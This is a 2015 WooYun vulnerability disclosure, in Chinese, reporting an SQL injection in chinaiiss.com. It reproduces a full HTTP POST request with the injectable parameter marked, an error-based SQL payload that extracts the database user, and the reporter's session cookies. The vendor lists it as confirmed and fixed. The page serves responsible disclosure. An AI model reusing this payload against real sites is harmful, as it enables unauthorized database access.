当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0132288
漏洞标题：
中国战略网主站一处SQL注入
相关厂商：
chinaiiss.com
漏洞作者：
深度安全实验室
提交时间：
2015-08-07 11:39
修复时间：
2015-09-21 17:58
公开时间：
2015-09-21 17:58
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-08-07： 细节已通知厂商并且等待厂商处理中
2015-08-07： 厂商已经确认，细节仅向厂商公开
2015-08-17： 细节向核心白帽子及相关领域专家公开
2015-08-27： 细节向普通白帽子公开
2015-09-06： 细节向实习白帽子公开
2015-09-21： 细节向公众公开

简要描述：

详细说明：

POST /do.php?do=conference2 HTTP/1.1
Host: www.chinaiiss.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.chinaiiss.com/conference/index/384
Content-Length: 1122
Cookie: CNZZDATA215831=cnzz_eid%3D1656080-1438482024-%26ntime%3D1438860065; bdshare_firstime=1438483192869; Hm_lvt_cd0a687f19db4e63c481a5b03c59f4e3=1438483193,1438601914,1438771122,1438859225; vjuids=-136ab277f.14eec479d43.0.9a7d0ed52e4a58; vjlast=1438859074; auth=89dbAjHJgvMlT45ctl3atnAM%2BQDlVMOxKyCfxvQ%2BCuPH%2F%2FhoFn5jHY5J%2B1PTB50HdyFgrU1tz3WeEMQSufwy; pgv_pvi=2500110878; loginuser=_QQ%E7%94%A8%E6%88%B78801JW; cityid=0; PHPSESSID=7jsb622mqkhq7evd8trfqptmk7; Hm_lpvt_cd0a687f19db4e63c481a5b03c59f4e3=1438860311; voteip599=222.90.56.87; vote599=1; viewertempid=774e3494b4e9e490de2aedf93f31e4e0; viewerawaysid=09d543ddc01a7b8a1feced7d4d494d23; comment_votegood-11056537=1; comm-1599=ddddddddddddddd; voteip598=222.90.56.87; voteip597=222.90.56.87; comment_vote_1056093=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
inajax=1&ac=conference_submit&parameter=*（这里就是注入点！！！！！）_384_4_%2Fkuddddddddddddddddskcfn%2520skh%2520hsd%25E7%259B%25AE%25E6%25A0%2587%25E5%2587%25BD%25E6%2595%25B0%25E5%25AE%25A2%25E6%2588%25B7%25E7%259C%258B%25E5%25B0%25BD%25E5%25BF%25AB%25E5%259C%25A3%25E8%25AF%259E%25E8%258A%2582%25E5%258F%25AF%25E5%2585%2591%25E6%258D%25A2%25E4%25BB%2598%25E6%25AC%25BE%25E5%2592%258C%25E4%25B8%259C%25E6%2596%25B9%25E7%25BA%25A2%25E6%25AC%25BE%25E5%2588%25B0%25E5%258F%2591%25E8%25B4%25A7%25E8%25A7%2589%25E5%25BE%2597%25E7%25BB%259D%25E5%259C%25B0%25E5%258F%258D%25E5%2587%25BB%25E5%258F%25AF%25E4%25BA%25BA%25E5%25AE%25B6%25E5%258A%25A0%25E7%2583%25AD%25E7%2582%2589%25E8%25AE%25B0%25E5%25BD%2595%25E7%259A%2584%25E8%25BD%25AF%25E4%25BB%25B6%25E5%25BC%2580%25E5%2585%25B3%25E6%259C%25BA%25E5%258F%25AB%25E4%25BA%25BA%25E5%25AE%25B6%25E6%25A2%2581%25E9%259D%2599%25E8%258C%25B9%25E5%2590%2589%25E6%259E%2597_0_0_(select 1 from(select count(*),concat((select concat(0x5e5e5e,user(),0x5e5e5e) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)_1&dom=comment_reply&username=&password=

111.png

漏洞证明：

112.jpg

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-08-07 17:57

厂商回复：

已修复

最新状态：

暂无